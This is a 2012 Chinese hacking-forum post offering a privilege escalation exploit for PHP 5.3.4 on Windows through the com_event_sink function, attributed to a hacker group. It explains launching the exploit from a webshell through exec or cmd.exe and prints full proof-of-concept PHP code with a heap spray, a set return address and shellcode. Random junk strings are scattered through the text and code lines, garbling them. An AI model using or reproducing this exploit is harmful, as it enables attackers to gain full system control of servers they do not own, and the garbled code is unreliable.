找回密码
 立即注册
查看: 2783|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中$ G6 {3 F; H- y" g
; O8 i; C$ t4 }6 D; s; [8 d$ q0 Q
测试方法如下:cmd /c x:\php\php.exe x:\test.php- ]( W2 j) x( {6 ]3 o: C
9 O# V" D& j) e+ ^% }
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php( J5 z+ U% H9 S6 {: U
这里是两个测试的截图:6 s* x& S/ T* _8 i- q' _& A& h
. E) u& n- A# g  H+ l, I

7 K2 L; L$ R; ?4 o+ M4 N4 L9 A: g. D7 z) L) K. C$ x

8 w& r6 G* o7 U9 _  ?
4 S: I5 F6 y8 R3 `  a& d成功利用此漏洞的攻击者将获得系统的最高权限
5 `: l4 r8 Y* v* E/ k. n  g3 g* Z" f$ b9 A8 j

) [, D( g) G4 U9 M- g6 @% [- R, S( b1 y: b; C8 f! B

7 \7 _. W% l- }9 n) E
- Q6 W- L6 R; D, h$ j" t: a* I关于漏洞分析稍后附上。一下是PoC代码:8 S) t9 |- V1 w# g
8 _2 A1 F8 f6 \2 k% p+ P! y( W
<?php
4 ^: C8 n$ k! |* G1 x7 K5 T//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞: n+ T( F7 d1 Y$ Y7 _4 T' O5 V  j" M
//$eip ="\x44\x43\x42\x41";
9 D+ b4 J) v$ V& @$eip= "\x4b\xe8\x57\x78";
& S9 t- U9 d- E$eax ="\x80\x01\x8d\x04";
' y/ B- v. I, N7 v8 t$deodrant="";$ b/ w! x7 e( f( O+ q  G3 G7 o$ q; i
$axespray = str_repeat($eip.$eax,0x80);1 }. t1 K' e6 L( o- n
//048d0190
( Q2 v3 X3 K( ]  vecho strlen($axespray);
1 f& m( U  y5 O1 r* Pecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";* `7 _4 p# B3 {( |. c" a" d
echo "Silic Group Hacker Army - BlackBap.Org";
' M5 s$ W& ]( Q: [6 d//19200 ==4B32 4b00
7 q- d3 _# y! efor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}3 k6 }! r" M3 r8 y" z7 \
$terminate = "T";1 `( A$ W- j9 _5 w2 [6 @
$u[] =$deodrant;
3 i! T* y( h8 ]4 k$r[] =$deodrant.$terminate;
5 p7 E% e& ^/ Y6 N, x! [2 \/ ]$a[] =$deodrant.$terminate;
) o8 }. i9 ^. l5 X8 K1 J$s[] =$deodrant.$terminate;
; Z% u8 @4 t5 s8 n) j" e7 e/ \, R//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
3 Q  R( u, ?! a" c& _# r4 @$vVar = new VARIANT(0x048d0000+180);8 i. s) v. ?- H2 Y) f7 t
//弹窗代码(Shellcode)7 i! U  k4 F3 t& D4 k
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
" F% ~  \0 M" r3 c# q1 V& U3 \0 T$var2 = new VARIANT(0x41414242);
2 ^! ?1 E: s7 N0 Ocom_event_sink($vVar,$var2,$buffer);
8 g( A0 j, k( M" w8 C, n3 E?>
* Z, J- S4 `  ~! D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表